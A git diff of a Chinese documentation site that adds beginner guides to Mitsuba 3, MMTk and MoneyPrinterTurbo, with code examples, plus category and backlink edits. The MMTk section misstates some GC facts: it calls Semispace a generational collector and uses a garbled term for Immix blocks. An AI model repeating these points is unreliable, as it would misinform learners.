diff --git a/src/content/docs/projects/mise.md b/src/content/docs/projects/mise.md
index ab9006c89..88c20a731 100644
--- a/src/content/docs/projects/mise.md
+++ b/src/content/docs/projects/mise.md
@@ -2,8 +2,8 @@
 title: mise — 一条命令切换项目用的 Node/Python/Go 版本
 来源: https://github.com/jdx/mise
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/mitsuba3.md b/src/content/docs/projects/mitsuba3.md
new file mode 100644
index 000000000..d1dd5f915
--- /dev/null
+++ b/src/content/docs/projects/mitsuba3.md
@@ -0,0 +1,252 @@
+---
+title: Mitsuba 3 — 研究向可微渲染器
+来源: https://github.com/mitsuba-renderer/mitsuba3
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Mitsuba 3** 是瑞士 EPFL Realistic Graphics Lab 开发的开源渲染系统，源码托管于 [mitsuba-renderer/mitsuba3](https://github.com/mitsuba-renderer/mitsuba3)。它既能做传统**正向渲染**（给定场景 → 出图），也能做**可微渲染 / 逆渲染**（给定目标图像 → 反推场景参数）。与 [[pytorch]] 里用栅格化近似 3D 不同，Mitsuba 走**物理正确的光线追踪**，梯度穿过完整光传输过程。
+
+日常类比：普通渲染器像**照相馆**——你摆好布景、调好灯光，它负责拍出一张照片。Mitsuba 3 额外装了一台「**反向显微镜**」：你拿着一张目标照片说「我要这种效果」，它能告诉你布景的哪块墙该涂什么色、玻璃该弯成什么弧度、相机该挪到哪里。这台显微镜的数学底座是 **Dr.Jit**（JIT 编译 + 自动微分），Mitsuba 只是它上面挂的一层「光传输模拟插件」。
+
+核心定位一览：
+
+| 维度 | 说明 |
+| --- | --- |
+| **作者/机构** | Wenzel Jakob 等，EPFL |
+| **协议** | BSD 3-Clause |
+| **语言** | C++ 核心 + Python 绑定（约 21% Python） |
+| **最新版本** | 3.8.x（2026 年仍在活跃维护） |
+| **官网** | [mitsuba-renderer.org](https://www.mitsuba-renderer.org/) |
+
+## 为什么重要
+
+零基础接触「可微渲染」，Mitsuba 3 值得单独学的原因：
+
+- **研究前沿的试验台**：逆渲染、焦散优化、形状重建、NeRF 式辐射场、偏振成像等论文常以 Mitsuba 为参考实现；EGSR 2024 路径采样可微渲染等工作直接提供 Mitsuba 插件
+- **Retargetable（可重定向）**：同一份 C++ 源码可编译出 60+ 种 **variant**——CPU 标量、LLVM 向量化、CUDA GPU、光谱/偏振、单/双精度、是否开启自动微分（`_ad`）
+- **物理正确 + 可求导**：比 PyTorch3D / TensorFlow Graphics 的栅格化近似更贴近真实光传输；比纯神经网络重建更可解释
+- **Python 一等公民**：`pip install mitsuba` 后即可在 Jupyter 里加载 Cornell Box、渲染、反向优化，不必先写 C++
+- **跨学科**：除图形学，还用于天文成像、显微、医学成像等需要「从测量反推物理参数」的领域
+
+和 [[appleseed]]、[[luxcorerender]] 等生产向离线渲染器不同，Mitsuba **不追求 DCC 插件生态或动画流水线**，而是把「渲染算法本身可微、可换后端」做到极致。
+
+## 核心要点
+
+### 1. Variant：先选「引擎档位」，再写代码
+
+Mitsuba 启动后第一件事是 `mi.set_variant(...)`。Variant 名由多段拼成，例如 `llvm_ad_rgb`：
+
+```
+{后端}_{是否AD}_{颜色表示}_{是否偏振}_{是否双精度}
+```
+
+常见后端：
+
+| 后端 | 含义 |
+| --- | --- |
+| `scalar` | CPU 逐光线，最易调试 |
+| `llvm` | CPU 向量化，一次处理大量光线 |
+| `cuda` | NVIDIA GPU + OptiX 光追，wavefront path tracer |
+
+`pip install mitsuba` 默认只带部分 variant（如 `scalar_rgb`、`llvm_ad_rgb`、`cuda_ad_rgb`），避免下载巨型 wheel。需要冷门组合（如 `llvm_ad_spectral_polarized`）需从源码编译。
+
+**可微渲染必须选带 `_ad` 的 variant**，否则 `dr.backward()` 无法工作。
+
+### 2. Dr.Jit：Mitsuba 背后的 JIT + 自动微分
+
+[Mitsuba Dr.Jit](https://github.com/mitsuba-renderer/drjit) 是专为渲染设计的数组语言与 JIT 编译器。它与 [[pytorch]] autograd 的对比（官方文档强调）：
+
+- Dr.Jit 针对**稀疏、含不连续性的光传输**优化；普通 AD 在可见性突变（阴影边缘）处梯度常为 0 或错误
+- 支持 **forward** 与 **reverse** 两种模式：优化多用 reverse（一次 backward 得到所有参数梯度）；可视化「某个参数如何影响图像」用 forward
+- `mi.Float`、`mi.Color3f`、`mi.TensorXf` 等类型与 NumPy 互通，但计算图由 Dr.Jit 记录
+
+### 3. 场景与插件架构
+
+场景可用 **XML**（`mi.load_file("scene.xml")`）或 **Python 字典**描述。功能由插件实现：
+
+| 插件类型 | 示例 |
+| --- | --- |
+| **Integrator** | `path`（路径追踪）、`prb`（Path Replay Backpropagation，可微）、`direct_projective` / `prb_projective`（处理几何不连续梯度） |
+| **BSDF** | `diffuse`、`conductor`、`dielectric`、`plastic` |
+| **Emitter** | `area`、`point`、`envmap` |
+| **Shape** | `obj`、`ply`、`rectangle`、`sphere` |
+| **Sensor** | `perspective`、`orthographic` |
+
+`mi.traverse(scene)` 返回可优化参数字典，键名如 `'red.reflectance.value'`、`'sphere.vertex_positions'`。
+
+### 4. 可微渲染在算什么？
+
+把渲染看成函数 \(f(\mathbf{x}) \rightarrow \mathbf{y}\)：
+
+- \(\mathbf{x}\)：场景参数（材质、几何、相机位姿、纹理……）
+- \(\mathbf{y}\)：渲染图像
+- 目标：最小化损失 \(g(\mathbf{y}, \mathbf{y}_{\text{ref}})\)，用梯度下降更新 \(\mathbf{x}\)
+
+**难点**：阴影边界、镜面反射、焦散等处，可见性对参数不连续，朴素 autograd 梯度缺失。Mitsuba 用 **PRB**（VSJ21）和 **projective sampling**（Nicolet 等）等积分器专门估计这些项。
+
+### 5. 正向 vs 逆渲染工作流
+
+```
+正向：场景 XML → mi.render() → 图像 PNG/EXR
+逆向：参考图 + 初始场景 → 循环 { render → loss → dr.backward → optimizer.step } → 恢复参数
+```
+
+官方教程覆盖：焦散优化、物体位姿估计、体积逆渲染、形状优化、类 NeRF 辐射场重建、与 PyTorch 互操作等。
+
+### 6. 安装与环境
+
+```bash
+# 推荐：Python 3.10+，pip 安装（含预编译 variant）
+pip install mitsuba
+
+# GPU 可微渲染需要 NVIDIA RTX（Turing 及更新更佳）+ CUDA 驱动
+# macOS / 无 NVIDIA 时可用 llvm_ad_* 在 CPU 上跑可微渲染（较慢）
+```
+
+从源码编译见官方 [Compiling](https://mitsuba.readthedocs.io/en/stable/src/developer_guide/compiling.html)；WSL2 有专门文档。
+
+## 代码示例
+
+### 示例 1：最小正向渲染 — Cornell Box
+
+入门第一步：选 variant、加载场景、渲染、存盘。与官方 Quickstart 一致。
+
+```python
+import mitsuba as mi
+
+# 1. 必须最先设置 variant（之后创建的对象都绑定到该后端）
+mi.set_variant("scalar_rgb")
+
+# 2. 从 XML 加载场景（可用关键字覆盖 XML 里的变量）
+scene = mi.load_file("scenes/cbox.xml")
+
+# 3. 渲染：spp = samples per pixel，越高噪点越少
+image = mi.render(scene, spp=256)
+
+# 4. 保存：PNG 会自动 tonemap 到 sRGB；EXR 保留线性 HDR
+mi.util.write_bitmap("cbox.png", image)
+mi.util.write_bitmap("cbox.exr", image)
+```
+
+要点：`scalar_rgb` 适合学习与调试；要 GPU 大批量光线可换 `cuda_rgb`；**不要**在运行中随意 `set_variant`，不同 variant 创建的对象互不兼容。
+
+### 示例 2：可微渲染 + Adam 优化 — 恢复红墙颜色
+
+改编自官方 Gradient-based optimization 教程：先把红墙故意改成蓝色，再用 PRB 积分器 + 反向传播把反照率拉回参考图。
+
+```python
+import drjit as dr
+import mitsuba as mi
+
+mi.set_variant("llvm_ad_rgb")  # 必须带 _ad
+
+# 加载 Cornell Box，指定分辨率与可微积分器 prb
+scene = mi.load_file("scenes/cbox.xml", res=128, integrator="prb")
+
+# 渲染无噪参考图
+image_ref = mi.render(scene, spp=512)
+
+# 取出可优化参数并故意改错
+params = mi.traverse(scene)
+key = "red.reflectance.value"
+param_ref = mi.Color3f(params[key])
+params[key] = mi.Color3f(0.01, 0.2, 0.9)  # 偏蓝
+params.update()
+
+# Adam 优化器
+opt = mi.ad.Adam(lr=0.05)
+opt[key] = params[key]
+params.update(opt)
+
+def mse(img):
+    return dr.mean(dr.square(img - image_ref))
+
+for it in range(50):
+    image = mi.render(scene, params, spp=4)   # 每步少量 spp 换速度
+    loss = mse(image)
+    dr.backward(loss)                        # 穿过光传输反向传播
+    opt.step()
+    opt[key] = dr.clip(opt[key], 0.0, 1.0)  # 颜色裁剪到合法范围
+    params.update(opt)
+
+image_final = mi.render(scene, spp=128)
+mi.util.write_bitmap("recovered.png", image_final)
+```
+
+这段代码体现了可微渲染的**标准闭环**：`render → loss → backward → step → params.update`。`params` 必须把优化器里的新值写回场景，否则下一轮渲染仍用旧材质。
+
+### 示例 3（进阶）：前向模式梯度图 — 绿墙颜色如何影响全图
+
+前向模式适合「**一个参数、一张梯度图**」的可视化教学（官方 Forward inverse rendering）：
+
+```python
+import drjit as dr
+import mitsuba as mi
+
+mi.set_variant("llvm_ad_rgb")
+scene = mi.load_file("scenes/cbox.xml")
+
+params = mi.traverse(scene)
+key = "green.reflectance.value"
+dr.enable_grad(params[key])
+params.update()
+
+image = mi.render(scene, params, spp=128)
+dr.forward(params[key])           # 对该参数注入单位梯度并前向传播
+grad_image = dr.grad(image)       # 每个像素对绿墙颜色的敏感度
+
+# grad_image 与 image 同形状，可用 matplotlib 按通道可视化
+```
+
+全局光照下，绿墙变色会通过多次反弹影响红墙、白墙甚至阴影区域——梯度图能直观看到这种**远距离耦合**。
+
+## 与相关工具对比
+
+| 工具 | 渲染方式 | 可微 | 典型用途 |
+| --- | --- | --- | --- |
+| **Mitsuba 3** | 路径追踪 | 是（核心卖点） | 逆渲染研究、论文复现 |
+| [[pytorch]] + PyTorch3D | 栅格化 / 近似 | 是 | 快速 3D 深度学习原型 |
+| [[blender]] Cycles | 路径追踪 | 有限 / 外挂 | 内容创作 |
+| [[appleseed]] | 路径追踪 | 否（生产渲染） | 动画/VFX 离线成片 |
+| [[opencv]] | 图像处理 | 部分 | 2D 视觉，非物理光传输 |
+
+Mitsuba 不是「比 Blender 更好的出图工具」，而是「**把渲染方程写进 autograd 图里的实验室仪器**」。
+
+## 学习路径建议
+
+1. **跑通 Quickstart**：`scalar_rgb` + `cbox.xml`，理解 variant 与 `mi.render`
+2. **读 Variants 文档**：弄清 `llvm` / `cuda` / `_ad` / `spectral` 何时选用
+3. **跟做 Gradient-based optimization**：理解 `traverse`、`mi.ad.Adam`、`dr.backward`
+4. **试 Forward inverse rendering**：建立「梯度图」直觉
+5. **按兴趣选专题**：焦散（caustics）、projective integrators、PyTorch 互操作、自定义 Python 插件
+6. **读论文对照实现**：PRB (VSJ21)、projective sampling (Nicolet 等)、path sampling DR (Su & Gkioulekas, EGSR 2024)
+
+## 常见坑
+
+- **忘记 `set_variant`**：会报错或路由到错误后端
+- **正向渲染用非 `_ad` variant，优化时却用 `_ad`**：两套对象不能混用，从头 `set_variant` 再加载场景
+- **SPP 太低**：优化 loss 被蒙特卡洛噪点主导，参数震荡；参考图要高 spp，优化步可用低 spp
+- **可见性不连续**：标准 `prb` 对移动几何/硬阴影可能不够，需 `prb_projective` 或 `direct_projective`
+- **GPU variant 无 NVIDIA**：退回 `llvm_ad_rgb`，或源码编译 CPU 专用配置
+
+## 延伸阅读
+
+- 官方文档：[mitsuba.readthedocs.io](https://mitsuba.readthedocs.io/)
+- Dr.Jit 文档：[drjit.readthedocs.io](https://drjit.readthedocs.io/)
+- 引用：
+
+```bibtex
+@software{Mitsuba3,
+  title  = {Mitsuba 3 renderer},
+  author = {Wenzel Jakob and S{\'e}bastien Speierer and Nicolas Roussel and others},
+  url    = {https://mitsuba-renderer.org},
+  year   = {2022}
+}
+```
+
+- 相关笔记：[[pytorch]]（自动微分直觉）、[[appleseed]]（传统物理渲染对比）、[[triton-llm]]（另一类 JIT 编译思路）
diff --git a/src/content/docs/projects/mlflow.md b/src/content/docs/projects/mlflow.md
index cf0ce771d..0cda05b48 100644
--- a/src/content/docs/projects/mlflow.md
+++ b/src/content/docs/projects/mlflow.md
@@ -2,7 +2,7 @@
 title: MLflow — 端到端 ML 生命周期
 来源: https://github.com/mlflow/mlflow
 日期: 2026-05-31
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/mlx.md b/src/content/docs/projects/mlx.md
index 4a5d5db8d..1139e9eb7 100644
--- a/src/content/docs/projects/mlx.md
+++ b/src/content/docs/projects/mlx.md
@@ -2,7 +2,7 @@
 title: 'MLX — Apple Silicon 统一内存原生 ML 框架'
 来源: 'https://github.com/ml-explore/mlx'
 日期: '2026-05-31'
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: '中级'
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/mmtk-core.md b/src/content/docs/projects/mmtk-core.md
new file mode 100644
index 000000000..c592382a3
--- /dev/null
+++ b/src/content/docs/projects/mmtk-core.md
@@ -0,0 +1,180 @@
+---
+title: "MMTk — 通用 GC 框架"
+来源: "https://github.com/mmtk/mmtk-core"
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# MMTk — 通用垃圾回收框架
+
+## 一、从生活类比开始
+
+想象你是一家大型图书馆的馆长。图书馆有几百万本书（这就是程序运行时分配的「对象」），每天有成千上万的读者（程序线程）来借书还书。
+
+传统的管理方式是：每个读者自己记一个小本子，借了什么、还了什么，自己管自己。等到书架满了（内存不够了），才手忙脚乱地整理——把没人读的书清理掉。这种方式简单，但效率低，而且每个人整理的标准不一样。
+
+MMTk 做的事情，相当于给图书馆请了一个**统一的后勤团队**：
+
+- 借书（分配内存）有统一流程
+- 整理书架（垃圾回收）有统一策略
+- 但不同语言（Java、JavaScript、Rust 等）可以告诉这个团队「我们馆的特殊规则是什么」
+
+**一句话总结：MMTk 不是垃圾回收器本身，而是一个「制造垃圾回收器的工具包」。**
+
+## 二、MMTk 是什么
+
+MMTk（Memory Management ToolKit）是一个用 Rust 编写的**通用内存管理框架**。它的核心思想是：
+
+> 不要把 GC 写死在某个语言虚拟机里，而是把它拆成可以拼装、可以替换的模块。
+
+就像乐高积木，你可以选不同的「计划」（Plan，即 GC 算法），不同的「分配器」（Allocator），拼出适合你的 GC。
+
+项目主页：[github.com/mmtk/mmtk-core](https://github.com/mmtk/mmtk-core)
+
+## 三、核心概念
+
+### 1. Plan（计划）= GC 算法
+
+Plan 是 MMTk 里最核心的概念，它决定垃圾回收怎么工作。常见的 Plan 包括：
+
+- **Immix**：把内存切成小方块（scanna block），标记哪些方块"可能"有垃圾，只扫描那些方块
+- **GenImmix**：Immix 的增强版，把内存分新生代和老生代，优先清理新生代（因为年轻人死得快）
+- **Semispace**：最简单的分代 GC，把内存分成两半，轮流清空
+
+### 2. Mutator（突变者）= 正在运行的程序线程
+
+在 GC 术语里，"mutator"指的是你的程序本身——它在"突变"内存状态（分配和修改对象）。每个运行线程对应一个 Mutator 对象。
+
+### 3. VMBinding（虚拟机绑定）= 语言和 MMTk 之间的翻译官
+
+MMTk 不直接和 Java、JavaScript 对话。它通过 VMBinding 接口：
+
+- 让语言**调进** MMTk（"帮我分配一块内存"）
+- 让 MMTk **调进**语言（"我要暂停一下来做 GC"）
+
+### 4. Barrier（屏障）= 内存修改的安检门
+
+当程序修改一个对象里的引用字段时，MMTk 需要知道这件事（比如跟踪引用关系）。Barrier 就是在每次修改前/后触发的检查机制。
+
+### 5. Work Bucket & Scheduler（工作桶与调度器）= GC 任务的分工表
+
+GC 不是一个人干的。MMTk 把回收工作拆成很多小包（Work Packet），分给多个线程并行处理。
+
+## 四、代码示例
+
+### 示例一：初始化一个 MMTk 实例
+
+这是虚拟机（比如 JikesRVM 或自定义语言）接入 MMTk 的第一步。相当于"启动后勤团队"：
+
+```rust
+// 1. 创建一个构建器，配置 GC 策略
+let mut builder = MMTKBuilder::new();
+builder.set_option("plan", "immix");
+builder.set_option("threads", "4");
+
+// 2. 用构建器建造 MMTk 实例
+let mmtk = mmtk_init(&builder);
+```
+
+这里 `MMTKBuilder` 就像是一个"遥控器"，你可以切换 Plan、调线程数、开调试选项。`mmtk_init()` 则真正启动整个内存管理系统。
+
+### 示例二：程序分配一个对象
+
+当你的程序需要创建对象时（比如 `new String("hello")`），它会调用 MMTk 的分配 API：
+
+```rust
+// 获取当前线程的 Mutator（相当于"借阅证"）
+let mut mutator = bind_mutator(&mmtk, current_thread_tls);
+
+// 请求分配 128 字节、8 字节对齐的对象
+let address = alloc(
+    &mut mutator,
+    128,          // 需要的大小（字节）
+    8,            // 对齐要求
+    0,            // 对齐偏移
+    AllocationSemantics::DEFAULT,  // 普通对象
+);
+
+// alloc() 返回的地址就是新对象的起始位置
+// 如果内存不足，MMTk 会自动触发 GC 再重试
+```
+
+`alloc()` 是最常用的接口。它的智能之处在于：**如果内存不够，它不会直接报错，而是先尝试触发垃圾回收，回收完了再重试**。这相当于图书馆管理员先整理书架，腾出空间后再借书给你。
+
+### 示例三：手动触发垃圾回收
+
+当程序觉得"该整理一下了"：
+
+```rust
+// 请求一次 GC（这是一个提示，MMTk 可能忽略它）
+handle_user_collection_request(&mmtk, current_thread_tls);
+
+// 或者检查已用/可用内存
+let used = used_bytes(&mmtk);
+let free = free_bytes(&mmtk);
+println!("已用: {} 字节, 空闲: {} 字节", used, free);
+```
+
+## 五、MMTk 的工作流程
+
+```
+你的程序调用 alloc()
+       |
+       v
+   Mutator 分配对象
+       |
+       v (内存不够了)
+   MMTk 触发 GC
+       |
+       v
+   Scheduler 分发工作包
+       |
+       v   GC Workers 并行扫描、清理、整理
+       |
+       v   通知语言"GC 完成"（Resume mutators）
+       |
+       v
+   回到分配，继续
+```
+
+## 六、为什么需要 MMTk
+
+如果没有 MMTk，每种语言的 GC 都要从零开发：
+
+- Java (HotSpot) 自己写了一套 GC
+- JavaScript (V8) 自己写了一套 GC
+- 每种实现都不同，研究新的 GC 算法要反复造轮子
+
+有了 MMTk：
+
+- 研究者写一个 Plan，就能在多个语言上测试
+- 语言开发者不需要懂 GC 细节，接入就行
+- 社区积累了可复用的组件（分代、压缩、标记-整理...）
+
+## 七、已知绑定
+
+MMTk 官方维护了三个 VM 绑定：
+
+| 绑定 | 语言 |
+|------|------|
+| mmtk-openjdk | Java (OpenJDK) |
+| mmtk-jikesrvm | Java (JikesRVM) |
+| mmtk-v8 | JavaScript (V8) |
+
+## 八、延伸思考
+
+用开头图书馆的类比收尾：
+
+> MMTk 不决定图书馆该怎么整理书架——它提供的是整理书架的**工具、流程和团队调度系统**。真正决定"按什么规则整理"的，是 Plan。这就像给了你一套工业级的图书馆自动化系统，你可以选择最适合作馆（编程语言）的那套方案。
+
+## 九、学习要点回顾
+
+- MMTk = 内存管理的"乐高积木框架"，不是某个具体的 GC
+- Plan 决定了 GC 算法（Immix / GenImmix / Semispace...）
+- VMBinding 是语言与 MMTk 之间的翻译层
+- Mutator 代表正在运行的程序线程
+- Barrier 跟踪内存引用变化，辅助 GC 正确性
+- alloc() 会在内存不足时自动触发 GC，无需手动干预
+- 用 Rust 编写，追求性能和安全性
diff --git a/src/content/docs/projects/monaco-editor.md b/src/content/docs/projects/monaco-editor.md
index 4b29fa3f9..c96d3340f 100644
--- a/src/content/docs/projects/monaco-editor.md
+++ b/src/content/docs/projects/monaco-editor.md
@@ -156,6 +156,7 @@ monaco.languages.registerCompletionItemProvider('markdown', {
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[atom]] —— Atom — 已归档的 Web 编辑器先驱
+- [[code-server]] —— code-server — 在浏览器里跑完整 VS Code
 - [[codemirror]] —— CodeMirror — 编辑器不是一个类，是一组扩展的合奏
 - [[emacs]] —— GNU Emacs — Lisp 自文档编辑器
 - [[excalidraw]] —— Excalidraw — 手绘风协作白板
@@ -164,6 +165,7 @@ monaco.languages.registerCompletionItemProvider('markdown', {
 - [[lapce]] —— Lapce — 把编辑器搬到 GPU 上的 Rust 实验
 - [[lazyvim]] —— LazyVim — lazy.nvim 驱动的 Neovim 发行版
 - [[markdown-it]] —— markdown-it — 把 Markdown 文本变成 HTML 的工业级解析器
+- [[openvscode-server]] —— OpenVSCode Server — VS Code Server 上游
 - [[prosemirror]] —— ProseMirror — schema 先定 DOM 后服从的富文本编辑器框架
 - [[shiki]] —— shiki — 把 VS Code 那套染色搬到网页上
 - [[textmate]] —— TextMate — macOS 经典编辑器，语法格式影响了所有人
diff --git a/src/content/docs/projects/moneyprinter-turbo.md b/src/content/docs/projects/moneyprinter-turbo.md
new file mode 100644
index 000000000..0dd73da38
--- /dev/null
+++ b/src/content/docs/projects/moneyprinter-turbo.md
@@ -0,0 +1,257 @@
+---
+title: MoneyPrinterTurbo - AI 一键生成短视频
+来源: https://github.com/harry0703/MoneyPrinterTurbo
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# MoneyPrinterTurbo - AI 一键生成短视频
+
+## 一、这是什么？日常类比
+
+想象一下：你想做一个抖音短视频，但不会剪辑、不会配音、不会找素材。传统做法需要你：
+
+1. 写文案
+2. 录配音
+3. 去素材网站找视频片段
+4. 用剪映把素材拼起来
+5. 加上字幕
+6. 配上背景音乐
+
+**MoneyPrinterTurbo 做的事，就是把这 6 步全部自动化。** 你只需要告诉它一个主题（比如"金钱的作用"），它就会自己完成从文案到成片的全过程。
+
+它就像一个"视频工厂"——你输入原材料（主题），工厂自动产出成品（视频）。
+
+## 二、核心概念
+
+### 2.1 流水线式生成
+
+MoneyPrinterTurbo 的核心设计是一个 **6 阶段的流水线**，每个阶段独立完成一个任务：
+
+```
+主题 → [1.写文案] → [2.提取关键词] → [3.语音合成] → [4.生成字幕] → [5.下载素材] → [6.合成视频]
+```
+
+每个阶段都可以单独停下来看结果，也可以一口气跑完。
+
+### 2.2 关键组件
+
+| 组件 | 作用 | 类比 |
+|------|------|------|
+| LLM（大语言模型） | 写文案、提取搜索关键词 | 文案策划 |
+| TTS（语音合成） | 把文字变成语音 | 配音员 |
+| 素材源（Pexels/Pixabay） | 下载无版权视频片段 | 素材库 |
+| Whisper | 生成精确字幕（可选） | 字幕校对员 |
+| FFmpeg + MoviePy | 把所有东西拼成最终视频 | 剪辑师 |
+
+### 2.3 视频素材来源
+
+项目支持多种素材来源：
+- **Pexels**（默认）— 免费高清视频库
+- **Pixabay** — 另一个免费素材库
+- **Coverr** — 横屏为主的高清素材
+- **本地文件** — 用自己的视频素材
+
+## 三、代码示例
+
+### 示例 1：命令行一键生成视频
+
+这是最简单的用法。打开终端，运行：
+
+```bash
+uv run python cli.py --video-subject "金钱的作用"
+```
+
+这行命令做了什么？
+
+- `--video-subject "金钱的作用"` — 告诉程序你的视频主题是"金钱的作用"
+- 程序会自动：写文案 → 提取关键词 → 下载素材 → 合成语音 → 加字幕 → 拼成视频
+- 最终在当前目录生成一个 MP4 文件
+
+你也可以指定更多参数：
+
+```bash
+uv run python cli.py \
+  --video-subject "生命的意义" \
+  --video-aspect 16:9 \
+  --video-count 3 \
+  --voice-name "zh-CN-XiaoyiNeural-Female"
+```
+
+- `--video-aspect 16:9` — 横屏格式（适合 B 站/西瓜视频），默认是 9:16 竖屏（适合抖音）
+- `--video-count 3` — 一次生成 3 个不同版本，挑一个最好的
+- `--voice-name` — 指定 AI 配音员的声音
+
+### 示例 2：通过 Python API 调用
+
+如果你想在自己的程序里集成视频生成能力，可以直接导入：
+
+```python
+from app.models.schema import VideoParams
+from app.services import task as tm
+
+# 创建视频参数
+params = VideoParams(
+    video_subject="春天的花海",
+    voice_name="zh-CN-XiaoyiNeural-Female",
+    voice_rate=1.0,
+    video_aspect="9:16",
+    video_count=1,
+)
+
+# 启动生成任务
+result = tm.start(task_id="my-task-001", params=params, stop_at="video")
+
+# result 包含生成的视频路径等信息
+print(result["videos"])
+# 输出: ['/path/to/storage/cache_videos/my-task-001/final-1.mp4']
+```
+
+这里的关键是 `VideoParams` 对象——它就像一张"订单"，告诉系统你想要什么样的视频。
+
+### 示例 3：配置文件（config.toml）
+
+MoneyPrinterTurbo 使用 TOML 格式的配置文件来控制各种行为。一个最小可用的配置长这样：
+
+```toml
+[app]
+video_source = "pexels"
+llm_provider = "openai"
+openai_api_key = "sk-your-api-key-here"
+openai_model_name = "gpt-4o-mini"
+
+[whisper]
+model_size = "large-v3"
+device = "CPU"
+compute_type = "int8"
+```
+
+- `llm_provider` — 选择哪个 AI 模型来写文案（OpenAI、通义千问、Gemini 等都支持）
+- `openai_api_key` — 你的 AI 模型 API 密钥
+- `subtitle_provider` — 字幕生成方式，可选 `"edge"`（快）或 `"whisper"`（准）
+
+## 四、架构概览
+
+MoneyPrinterTurbo 采用经典的 **MVC 架构**（模型-视图-控制器），代码结构清晰：
+
+```
+MoneyPrinterTurbo/
+├── app/                    # 核心逻辑
+│   ├── services/           # 各阶段服务
+│   │   ├── task.py         # 流水线调度（核心入口）
+│   │   ├── llm.py          # 大语言模型交互
+│   │   ├── voice.py        # 语音合成（TTS）
+│   │   ├── material.py     # 素材下载
+│   │   ├── subtitle.py     # 字幕生成
+│   │   └── video.py        # 视频合成
+│   ├── models/             # 数据模型
+│   └── config/             # 配置管理
+├── webui/                  # Web 界面（Streamlit）
+├── cli.py                  # 命令行入口
+├── main.py                 # API 服务入口
+└── config.example.toml     # 配置模板
+```
+
+流水线的主控函数在 `app/services/task.py` 的 `start()` 函数中，它按顺序调用各个阶段：
+
+```python
+def start(task_id, params, stop_at="video"):
+    # 1. 生成文案
+    video_script = generate_script(task_id, params)
+
+    # 2. 提取搜索关键词
+    video_terms = generate_terms(task_id, params, video_script)
+
+    # 3. 生成语音
+    audio_file, audio_duration, sub_maker = generate_audio(task_id, params, video_script)
+
+    # 4. 生成字幕
+    subtitle_path = generate_subtitle(task_id, params, video_script, sub_maker, audio_file)
+
+    # 5. 下载视频素材
+    downloaded_videos = get_video_materials(task_id, params, video_terms, audio_duration)
+
+    # 6. 合成最终视频
+    final_video_paths = generate_final_videos(task_id, params, downloaded_videos, ...)
+```
+
+每个步骤之间用 `stop_at` 参数可以中途暂停，方便调试和查看中间结果。
+
+## 五、部署方式
+
+有三种方式可以使用这个项目：
+
+### 方式 1：Docker（推荐，最简单）
+
+```bash
+git clone https://github.com/harry0703/MoneyPrinterTurbo.git
+cd MoneyPrinterTurbo
+docker-compose up
+```
+
+打开浏览器访问 `http://127.0.0.1:8501` 即可使用。
+
+### 方式 2：本地 Python 环境
+
+```bash
+git clone https://github.com/harry0703/MoneyPrinterTurbo.git
+cd MoneyPrinterTurbo
+uv sync --frozen
+uv run streamlit run ./webui/Main.py --browser.gatherUsageStats=False
+```
+
+### 方式 3：Google Colab（零安装）
+
+直接在浏览器中运行，不需要本地安装任何东西。点击 README 中的 Colab 按钮即可。
+
+## 六、配置要点
+
+使用之前需要准备两样东西：
+
+### 6.1 一个 AI 模型的 API Key
+
+LLM（大语言模型）负责写文案。支持 OpenAI、通义千问、Gemini、Moonshot 等 15+ 种模型。以 OpenAI 为例：
+
+```toml
+llm_provider = "openai"
+openai_api_key = "sk-xxxxxxxxxx"
+openai_model_name = "gpt-4o-mini"
+```
+
+### 6.2 一个视频素材源的 API Key
+
+默认使用 Pexels 下载免费视频素材。去 [pexels.com/api](https://www.pexels.com/api/) 免费注册即可获得 API Key：
+
+```toml
+pexels_api_keys = ["your-pexels-api-key-here"]
+```
+
+> Edge TTS（语音合成）是免费的，不需要额外配置。
+
+## 七、关键技术选型
+
+| 技术 | 用途 | 为什么选它 |
+|------|------|-----------|
+| Python 3.11 | 编程语言 | 生态丰富，AI 领域首选 |
+| Streamlit | Web 界面 | 几行代码就能做出好看的 Web UI |
+| FastAPI | API 服务 | 自动生成文档，开发效率高 |
+| MoviePy 2.x | 视频剪辑 | Python 生态中最成熟的视频处理库 |
+| edge-tts | 语音合成 | 免费、高质量、无需 API Key |
+| faster-whisper | 字幕生成 | 比原版 Whisper 快 4 倍 |
+| FFmpeg | 视频编码 | 行业标准，几乎所有平台都支持 |
+
+## 八、学习小结
+
+MoneyPrinterTurbo 的价值在于它展示了一个完整的 **"AI + 自动化"** 应用范式：
+
+1. **输入**：一个简单的主题（自然语言）
+2. **AI 理解**：大语言模型把主题变成结构化内容（文案 + 关键词）
+3. **资源获取**：通过 API 从互联网获取素材
+4. **AI 增强**：语音合成 + 字幕生成
+5. **工程组装**：用 FFmpeg + MoviePy 把所有元素合成最终产品
+
+这套模式可以迁移到很多其他场景——比如自动生成教程、自动生成产品介绍、自动生成新闻摘要视频等等。
+
+核心思想就一句话：**让 AI 做它擅长的（理解和生成内容），让工具做它擅长的（剪辑、编码、下载），两者结合就能产生强大的自动化效果。**
diff --git a/src/content/docs/projects/monoio.md b/src/content/docs/projects/monoio.md
new file mode 100644
index 000000000..ea55d635c
--- /dev/null
+++ b/src/content/docs/projects/monoio.md
@@ -0,0 +1,172 @@
+---
+title: monoio — 字节跳动的 io_uring 运行时
+来源: https://github.com/bytedance/monoio
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# monoio — 字节跳动的 io_uring 运行时
+
+## 一、为什么要造这个轮子
+
+想象一家餐厅，有 16 张桌子（CPU 核心），每张桌子配一名专属服务员。
+
